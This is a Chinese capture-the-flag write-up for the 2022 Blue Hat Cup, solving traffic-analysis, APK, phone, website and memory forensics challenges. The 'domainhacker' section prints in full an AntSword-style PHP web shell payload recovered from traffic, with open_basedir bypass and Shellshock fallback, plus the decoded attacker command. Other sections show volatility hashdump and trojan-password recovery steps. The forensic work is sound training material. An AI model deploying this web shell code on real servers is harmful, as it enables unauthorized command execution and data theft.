蓝帽杯 2022 Writeup

8 min read

一觉起来蓝帽杯还有一个多小时结束QAQ,划划水做了几题下线了。整体来说蓝帽杯体验还是不错的,大部分电子取证题很适合新手。

MISC

domainhacker

公司安全部门,在流量设备中发现了疑似黑客入侵的痕迹,用户似乎获取了机器的hash,你能通过分析流量,找到机器的hash吗?flag格式:flag{hash_of_machine}

全是 HTTP 流量,我们直接追踪 TCP流流10 发现了 mimikatz

image-20220709184706210

流13 发现了一个压缩包

image-20220709184841410

我们直接导出所有 HTTP对象

image-20220709184901623

得到一堆文件和一个加密压缩包1.rar

image-20220709185029725

打开看了一下,1(17).php 对应着 流13 的内容,所以我们直接看前一个请求信息 1(16).php 里请求了什么,简单格式化一下

<?php
a = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item . "/.37120390cd";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0;$i < sizeof($cntarr);$i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "d1588" . "7ac2af";
    echo @asenc($output);
    echo "bb1" . "ca7";
}
ob_start();
try {
    $p = base64_decode(substr($_POST["yee092cda97a62"], 2));
    $s = base64_decode(substr($_POST["q8fb9d4c082c11"], 2));
    $envstr = @base64_decode(substr($_POST["p48a6d55fac1b1"], 2));
    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }
    $r = "{$p} {$c}";
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return (function_exists($f) && is_callable($f) && !in_array($f, $d));
    };
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }
            } else {
                return False;
            }
            $output = @file_get_contents($tmp);
            @unlink($tmp);
            if ($output != "") {
                print ($output);
                return True;
            }
        }
        return False;
    };
    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);
        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print (@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print (join("
", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print (@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print (@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print (@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c);
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret.= $so->ReadAll();
            $se = $e->StdErr();
            $ret.= $se->ReadAll();
            print ($ret);
        } else {
            $ret = 127;
        }
        return $ret;
    };
    $ret = @runcmd($r . " 2>&1");
    print ($ret != 0) ? "ret={$ret}" : "";;
}
catch(Exception $e) {
    echo "ERROR://" . $e->getMessage();
};
asoutput();
die(); 
&p48a6d55fac1b1=Tw&q8fb9d4c082c11=YNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg=&yee092cda97a62=6iY21k

发现拼接了三个$_POST 的参数 p48a6d55fac1b1q8fb9d4c082c11yee092cda97a62,拼接一下这三个参数的值

TwYNY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBTZWNyZXRzUGFzc3cwcmRzIDEucmFyIDEudHh0JmVjaG8gZWZhOTIzYmE1MDQmY2QmZWNobyAxYTRiZTg4MTVlZjg6iY21k

base64 解码后得到

O
cd /d "c:\\Windows\\Temp"&rar.exe a -PSecretsPassw0rds 1.rar 1.txt&echo efa923ba504&cd&echo 1a4be8815ef8:

至此我们得到 1.rar 的解压密码 SecretsPassw0rds,解压后得到机器的 hash416f89c3a5deb1d398a1a1fce93862a7

image-20220709185655917

电子取证

程序分析_1

现已获取某个APP程序,请您对以下问题进行分析解答。

本程序包名是?(答案参考格式:abc.xx.de)

直接 Jadx 打开,在 AndroidMainfest.xml 里面找到包名 exec.azj.kny.d.c

image-20220709182414616

程序分析_2

本程序的入口是?(答案参考格式:abc.xx.de)

入口肯定是 Main,我们直接找到 Main,得到入口 minmtta.hemjcbm.ahibyws.MainActivity

image-20220709182527621

程序分析_3

本程序的服务器地址的密文是?(答案参考格式:abcABC123)

程序分析_2 中得到的入口中得到一段 base64 编码

return new String(Base64.decode("aHR0cHM6Ly9hbnNqay5lY3hlaW8ueHl6", 0), "utf-8");

解密后得到一段地址,所以说这段 base64 编码肯定就是flag了。

https://ansjk.ecxeio.xyz

手机取证_1

现对一个苹果手机进行取证,请您对以下问题进行分析解答。

627604C2-C586-48C1-AA16-FF33C3022159.PNG图片的分辨率是?(答案参考格式:1920x1080)

打开 盘古石阅读器 ,直接在左上角 搜索 中搜索 627604C2-C586-48C1-AA16-FF33C3022159.PNG

image-20220709183106264

成功检索到该文件,我们选择图片然后右键导出

image-20220709183045710

得到分辨率 360x360

image-20220709183208195

手机取证_2

姜总的快递单号是多少?(答案参考格式:abcABC123)

手机取证_1 同样的操作, 搜索 框里搜索 单号 得到 SF1142358694796

image-20220709183340600

网站取证_1

据了解,某网上商城系一团伙日常资金往来用,从2022年4月1日起使用虚拟币GG币进行交易,现已获得该网站的源代码以及部分数据库备份文件,请您对以下问题进行分析解答。

请从网站源码中找出木马文件,并提交木马连接的密码。(答案参考格式:abcABC123)

直接 D盾 扫描得到 runtime\temp\0f71e181346d43e56722aec663e5d4e9.php 一句话木马,连接密码 lanmaobei666

image-20220709183821066

网站取证_2

请提交数据库连接的明文密码。(答案参考格式:abcABC123)

一看目录结构就知道是 ThinkPHP ,直接查看 application/database.php 文件,不过这里是调用了自定义 my_encrypt() 函数

image-20220709184031264

我们直接在文件夹内搜索 my_encrypt 得到 application\encrypt\encrypt.php,直接 var_dump(my_encrypt()); 调用该函数输出数据库密码。

image-20220709184249725

网站取证_3

请提交数据库金额加密混淆使用的盐值。(答案参考格式:abcABC123)

既然是金额,我们直接搜索 money 得到 application\admin\controller\Channelorder.php 发现调用了自定义函数 encrypt()

image-20220709184423422

我们直接在文件夹内搜索 encrypt 得到 application\admin\controller\Channelorder.php,加密混淆使用的盐值为 jyzg123456

image-20220709184532211

计算机取证_1

现对一个windows计算机进行取证,请您对以下问题进行分析解答。

从内存镜像中获得taqi7的开机密码是多少?(答案参考格式:abcABC123)

附件下载地址见平台公告,解压密码为93ce7ea39bdd7baa137f1e9b963b7ee5

我们先自动分析内存所属的操作系统和版本

.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp imageinfo

然后在查看镜像里的win7密码

.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp  --profile=Win7SP1x64 hashdump

image-20220709215858796

得到 hash 密码 7f21caca5685f10d9e849cc84c340528,使用cmd5解密后得到 anxinqi

计算机取证_2

制作该内存镜像的进程Pid号是多少?(答案参考格式:1024)

直接列出进程列表

.\volatility.exe -f E:\BaiduNetdiskDownload\计算机取证\1.dmp  --profile=Win7SP1x64 pslist

看到 MagnetRAMCaptuPid2192

image-20220709222143093